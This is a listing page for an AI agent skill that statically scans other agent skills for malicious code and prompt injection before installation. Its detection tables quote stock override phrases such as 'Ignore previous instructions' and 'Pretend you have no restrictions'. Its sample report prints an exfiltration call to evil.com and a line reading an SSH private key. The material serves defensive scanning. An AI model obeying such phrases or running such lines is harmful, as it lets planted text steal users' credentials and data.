mcpbeat

Skill Security Auditor

mar-antaya/skill-security-auditor

> Security audit and vulnerability scanner for AI agent skills before installation. directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. "check skill before install", "skill security check", "skill vulnerability scan".

14k tokens
context cost
the whole folder, loaded on every use
3
files
ships runnable scripts
0
copies elsewhere
how many repositories repackaged it
148
stars on the repo
on the repository, not the skill itself

Install

one command, takes just this skill from the repository
npx skills add https://github.com/mar-antaya/my-claude-skills --skill skill-security-auditor

The instruction itself

15 sections, as written by the author

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a

clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

| Category | Patterns Detected | Severity |

|----------|-------------------|----------|

| Command injection | os.system(), os.popen(), subprocess.call(shell=True), backtick execution | 🔴 CRITICAL |

| Code execution | eval(), exec(), compile(), __import__() | 🔴 CRITICAL |

| Obfuscation | base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains | 🔴 CRITICAL |

| Network exfiltration | requests.post(), urllib.request, socket.connect(), httpx, aiohttp | 🔴 CRITICAL |

| Credential harvesting | reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns | 🔴 CRITICAL |

| File system abuse | writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation | 🟡 HIGH |

| Privilege escalation | sudo, chmod 777, setuid, cron manipulation | 🔴 CRITICAL |

| Unsafe deserialization | pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() | 🟡 HIGH |

| Subprocess (safe) | subprocess.run() with list args, no shell | ⚪ INFO |

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

| Pattern | Example | Severity |

|---------|---------|----------|

| System prompt override | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL |

| Role hijacking | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL |

| Safety bypass | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL |

| Hidden instructions | Zero-width characters, HTML comments with directives | 🟡 HIGH |

| Excessive permissions | "Run any command", "Full filesystem access" | 🟡 HIGH |

| Data extraction | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL |

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

| Check | What It Does | Severity |

|-------|-------------|----------|

| Known vulnerabilities | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |

| Typosquatting | Flag packages similar to popular ones (e.g., reqeusts) | 🟡 HIGH |

| Unpinned versions | Flag requests>=2.0 vs requests==2.31.0 | ⚪ INFO |

| Install commands in code | pip install or npm install inside scripts | 🟡 HIGH |

| Suspicious packages | Low download count, recent creation, single maintainer | ⚪ INFO |

4. File System & Structure

| Check | What It Does | Severity |

|-------|-------------|----------|

| Boundary violation | Scripts referencing paths outside skill directory | 🟡 HIGH |

| Hidden files | .env, dotfiles that shouldn't be in a skill | 🟡 HIGH |

| Binary files | Unexpected executables, .so, .dll, .exe | 🔴 CRITICAL |

| Large files | Files >1MB that could hide payloads | ⚪ INFO |

| Symlinks | Symbolic links pointing outside skill directory | 🔴 CRITICAL |

Audit Workflow

  • Run the scanner on the skill directory or repo URL
  • Review the report — findings grouped by severity
  • Verdict interpretation:
  • ✅ PASS — No critical or high findings. Safe to install.
  • ⚠️ WARN — High/medium findings detected. Review manually before installing.
  • ❌ FAIL — Critical findings. Do NOT install without remediation.
  • Remediation — each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

  • Cannot detect logic bombs or time-delayed payloads with certainty
  • Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
  • Network destination reputation checks require internet access
  • Does not execute code — static analysis only (safe but less complete than dynamic analysis)
  • Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.

How to use it

Copy the folder

Take mar-antaya/skill-security-auditor from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

The agent identifies a skill by the name field in its header. Two skills with the same name cannot sit side by side — one of them will be ignored.

Install what it needs

The instructions reference pip, npm. Without those the skill loads but fails at the first command.